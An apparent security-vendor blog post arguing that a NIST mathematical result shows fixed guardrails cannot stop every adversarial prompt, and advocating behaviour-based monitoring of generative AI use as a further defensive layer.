In recent research building on Gödel’s incompleteness theorems, which showed that any system built on a fixed set of rules will always have gaps, NIST demonstrates that there is no finite set of guardrails that can be universally robust against adversarial prompts. In plain terms, if your defense is based on a fixed set of rules, there will always be inputs that bypass them. Not because the rules are badly written, but because the problem space is bigger than static rules can ever cover.

This is not new in cybersecurity - detection rules have always had to live with this trade-off. What is different with GenAI is the scale and shape of that problem. These systems are built on human language, and human language is not bounded. It is fluid, contextual and deliberately ambiguous. The number of ways intent can be hidden is effectively limitless. You are not defending against a defined protocol or a fixed exploit chain. You are defending against the entire expressive capacity of people.

So attempting to create a complete set of rules is the wrong starting point. It assumes the problem can be deterministically described. NIST’s work shows that it cannot. Organizations still need a way to manage AI risk, but the traditional approach of defining allowed and disallowed patterns is always going to lag behind what is actually happening. The same input can be benign in one context and risky in another, and static rules struggle to capture that distinction.

The question then is what fills that gap?

AI security must shift from rules to behavior

What's required is a shift in what you are trying to understand. Rules try to describe what should and shouldn't happen. Behavior shows you what is happening. Or to put it another way, if inputs are unbounded and adversaries adapt, the only stable signal is behavior.

In a GenAI context, that means analyzing how an AI model is being used, how prompts evolve over time, how outputs are shaped, and where AI agent interactions start to drift from what is expected. It means moving from static definitions of bad to a more dynamic understanding of intent.

Instead of trying to predict every bad prompt, you focus on identifying when behavior starts to move outside expected norms. Instead of asking whether a single input matches a rule, you ask whether the overall pattern of activity makes sense for the system and how it’s being used.

Guardrails remain important but they are only one layer

This does not eliminate the need for guardrails. They still play a role. But they will never address the entire problem space and are simply one part of your defense in depth approach.

NIST’s proof is useful because it makes this explicit. It removes the assumption that with enough effort, a complete rule set is achievable. It isn’t.

Once you accept that, the shift becomes unavoidable. This is no longer a problem of writing better rules, but of understanding behavior in a space where the possible inputs are effectively unbounded.

For security leaders, that changes the nature of the problem. It is less about defining what should be allowed, and more about recognizing when something is no longer consistent with expected behavior.

That does not remove the need for guardrails, but it does change their role. They set boundaries, but they do not define understanding. The gap between the two is where risk now sits.

In the end, this is what “can’t be solved with rules” really means. Rules will always leave gaps, and those gaps are not theoretical. They show up in how systems actually behave Not what we expect them to do, or what we intended them to do, but what they are doing in practice. That is where the signal is, and increasingly, that is where the security problem sits.

References:

https://www.nist.gov/news-events/news/2026/06/nist-mathematical-proof-supports-transition-continuous-monitor-and-update

https://ieeexplore.ieee.org/document/11475847

Continue reading
About the author
Andrew Hollister
Principal Solutions Engineer, Cyber Technician
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ